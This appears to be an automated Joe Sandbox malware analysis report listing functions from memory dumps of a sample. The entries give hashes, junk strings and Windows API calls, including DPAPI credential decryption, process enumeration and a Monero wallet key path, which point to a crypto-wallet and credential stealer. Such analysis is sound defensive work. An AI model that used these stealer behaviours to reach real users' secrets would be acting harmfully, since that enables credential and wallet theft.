4vo], xrefs: 013966FC
wv, xrefs: 01396ED1
y]>, xrefs: 0139646E
1\m, xrefs: 01396A3A, 01396AB3
7F>, xrefs: 01396CFB
:i}, xrefs: 01396E40

Memory Dump Source

Source File: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 4vo]$7F>$:i}$y]>$1\m$wv
API String ID: 0-225797793
Opcode ID: 904022cd621318394efb4d5d97dea4fdf658dabd78f1d6d8b1c1456010eef188
Instruction ID: 82c1caf2f60e30e77422d8ca36514867932ecbcaa68518d0587bfad6a3944f82
Opcode Fuzzy Hash: 904022cd621318394efb4d5d97dea4fdf658dabd78f1d6d8b1c1456010eef188
Instruction Fuzzy Hash: 94B228F3A0C2009FE714AE2DEC8577ABBE9EF94720F16453DEAC4C3744EA3558058696

Function 0138DE5C Relevance: 9.1, Strings: 6, Instructions: 1587COMMON

Download Yara Rule

Strings

{o, xrefs: 0138EADD
s6K], xrefs: 0138EC45
qN, xrefs: 0138E598
Rn, xrefs: 0138DEF6
Eq?, xrefs: 0138E772
{o, xrefs: 0138EB2F

Memory Dump Source

Source File: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Eq?$Rn$qN$s6K]${o${o
API String ID: 0-526785264
Opcode ID: 2b09b8bfa018570ba99da5aeb58c13143ce329952a37f0b16eba8b69fee20031
Instruction ID: 4777eb436c17f501555430fd572c73ed499cf4dce5303d3d171a636901127ee3
Opcode Fuzzy Hash: 2b09b8bfa018570ba99da5aeb58c13143ce329952a37f0b16eba8b69fee20031
Instruction Fuzzy Hash: BFB2F6F350C2049FE3046E2DEC8566AFBE5EF94720F1A4A3DEAC4C7740EA3598458697

Function 0138A6AF Relevance: 8.0, Strings: 5, Instructions: 1725COMMON

Download Yara Rule

Strings

5}w, xrefs: 0138AFC5
"/s?, xrefs: 0138A742
<E{o, xrefs: 0138B3F3
*;u2, xrefs: 0138B4DF
oJ_, xrefs: 0138B8E8

Memory Dump Source

Source File: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: "/s?$*;u2$5}w$<E{o$oJ_
API String ID: 0-128284979
Opcode ID: 2f68e0914e3b996acdef83e6071e92247e7192d0ab40851361a328386fb3a01b
Instruction ID: 6dba4217b21377ff1bec6a179060adf7e2eb73a8f8e7ad7ba3b5b8412201ad93
Opcode Fuzzy Hash: 2f68e0914e3b996acdef83e6071e92247e7192d0ab40851361a328386fb3a01b
Instruction Fuzzy Hash: 19B24AF3A082149FE3046E2DEC8567AFBE9EF94760F1A453DEAC4C3744EA3558018697

Function 0138C30F Relevance: 7.9, Strings: 5, Instructions: 1618COMMON

Download Yara Rule

Strings

4)m, xrefs: 0138C396
]T;, xrefs: 0138CCED
1<}}, xrefs: 0138C5CE
X}, xrefs: 0138D524
v'p, xrefs: 0138D513

Memory Dump Source

Source File: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 1<}}$4)m$]T;$X}$v'p
API String ID: 0-382648321
Opcode ID: ffb2f6d981fad61ea22b4b291b9b242762dc393dafaef3644a68086c0148b143
Instruction ID: 22a29060ab62913aa4a6a4377869d9d6d58f32af2a1210a4f40f3d193acf2670
Opcode Fuzzy Hash: ffb2f6d981fad61ea22b4b291b9b242762dc393dafaef3644a68086c0148b143
Instruction Fuzzy Hash: E8B214F3A0C2049FD304AE2DEC8567AFBE5EF94720F1A493DEAC4C3744EA3558458696

Function 00FBC820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00FBC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00FBC87C
lstrcat.KERNEL32(?,00FD0B46), ref: 00FBC943
lstrcat.KERNEL32(?,00FD0B47), ref: 00FBC957
lstrcat.KERNEL32(?,00FD0B4E), ref: 00FBC978

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 01c1fb178052c677d16e955f9fd398a472f440a8fefa07f97611959db5614b75
Instruction ID: 675f5db9446f6426f40c6db508efbd4dc9fca69b107a0f377c83bbbfa20fed94
Opcode Fuzzy Hash: 01c1fb178052c677d16e955f9fd398a472f440a8fefa07f97611959db5614b75
Instruction Fuzzy Hash: E2417175D0420ADBDB20CF90DD89BEEBBB8BF88304F1041B9E509A7280D7749A84DF91

Function 00FB7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00FB724D
RtlAllocateHeap.NTDLL(00000000), ref: 00FB7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00FB7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00FB72A4
LocalFree.KERNEL32(?), ref: 00FB72AE

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 71e09781061a4e346e8456f0d44ed4e74e3402459b9def2b70cf9c12c13d6176
Instruction ID: e7c542d191b2898de9605e982c11592a1c691215e9eb307f2e048b10f19fe62b
Opcode Fuzzy Hash: 71e09781061a4e346e8456f0d44ed4e74e3402459b9def2b70cf9c12c13d6176
Instruction Fuzzy Hash: 65015275A40308BBDB24DFE4DD45F9D7778EF44701F104159FB19AB2C4DAB4AA408B64

Function 00FC9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00FC961E
Process32First.KERNEL32(00FD0ACA,00000128), ref: 00FC9632
Process32Next.KERNEL32(00FD0ACA,00000128), ref: 00FC9647
StrCmpCA.SHLWAPI(?,00000000), ref: 00FC965C
CloseHandle.KERNEL32(00FD0ACA), ref: 00FC967A

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 7f44269e10ed3b0ab940505b458dbd5ba855465d623b0d847ff951e60ced9ca6
Instruction ID: 2a1b4fdfe3a22b0fea30344e43cef9773ff42b57406fa0802fea41eaaec0a435
Opcode Fuzzy Hash: 7f44269e10ed3b0ab940505b458dbd5ba855465d623b0d847ff951e60ced9ca6
Instruction Fuzzy Hash: F6014C75A00208EBCB24DFA5D959FEDB7F8EF48311F00419CA90A97280D7B4AB80EF50

Function 013876A7 Relevance: 6.1, Strings: 4, Instructions: 1108COMMON

Download Yara Rule

Strings

.;, xrefs: 01387F56
dN?, xrefs: 01387B9B
dN?, xrefs: 01387BC9
!:3g, xrefs: 01388138

Memory Dump Source

Source File: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !:3g$dN?$dN?$.;
API String ID: 0-2411466353
Opcode ID: bb4baee833f543e95317a6667ae0029326181794bae77e1b9a3f3d8b3d1eab4a
Instruction ID: 60eb40c667db1159706613270905cda1ce045f2cefe494b0ce1b970f4fe0e1d9
Opcode Fuzzy Hash: bb4baee833f543e95317a6667ae0029326181794bae77e1b9a3f3d8b3d1eab4a
Instruction Fuzzy Hash: 337216F3A08214AFE3046E2DEC8567AFBE9EF94720F1A453DEAC4C3740E63558058796

Function 00FC8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00FD05B7), ref: 00FC86CA
Process32First.KERNEL32(?,00000128), ref: 00FC86DE
Process32Next.KERNEL32(?,00000128), ref: 00FC86F3

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00DE8DF8,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

CloseHandle.KERNEL32(?), ref: 00FC8761

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 7c6c3a031851d35ee35f95768aeaabf4e3bac273284f4a17499cc39357bb0efd
Instruction ID: 5e5781529e2dbe2cdce7b9a13b4980cf18417f2c148f965ff3ebe1465273fbeb
Opcode Fuzzy Hash: 7c6c3a031851d35ee35f95768aeaabf4e3bac273284f4a17499cc39357bb0efd
Instruction Fuzzy Hash: 3E315971901219ABCB24DB50DE46FEEB778EF44704F1041ADA50AA2190EF386E45DFA1

Function 00FC8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00FB5184,40000001,00000000,00000000,?,00FB5184), ref: 00FC8EC0

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: bc43851ab988e762f10f4ec06be2c4f45724654ab06eed911bc0ad8938c6edc4
Instruction ID: 46bec3d33c7fe7e9c271538e0cf902a72a98bcb639d198b252cb859ac849db4a
Opcode Fuzzy Hash: bc43851ab988e762f10f4ec06be2c4f45724654ab06eed911bc0ad8938c6edc4
Instruction Fuzzy Hash: 08111C71200206BFDB04CFA4E996FA737A9AF89755F10945CF919CB240DB75EC82EB60

Function 00FB9AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FB4EEE,00000000,00000000), ref: 00FB9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00FB4EEE,00000000,?), ref: 00FB9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FB4EEE,00000000,00000000), ref: 00FB9B2A
LocalFree.KERNEL32(?,?,?,?,00FB4EEE,00000000,?), ref: 00FB9B3F

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 944177e60116a878dbdee1fb2e4cb638177bd0972e9663fbf71992ede0d5eb4b
Instruction ID: 82f8e0466e02146078c0a395dc1ffbff9bc7ee27db2dd1231eed1e5fb243fe1b
Opcode Fuzzy Hash: 944177e60116a878dbdee1fb2e4cb638177bd0972e9663fbf71992ede0d5eb4b
Instruction Fuzzy Hash: 5411D4B4640308AFEB14CF64D895FAA77B5FB89711F208058FA199B384C7B5AA41DB50

Function 00FC7980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00FD0E00,00000000,?), ref: 00FC79B0
RtlAllocateHeap.NTDLL(00000000), ref: 00FC79B7
GetLocalTime.KERNEL32(?,?,?,?,?,00FD0E00,00000000,?), ref: 00FC79C4
wsprintfA.USER32 ref: 00FC79F3

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
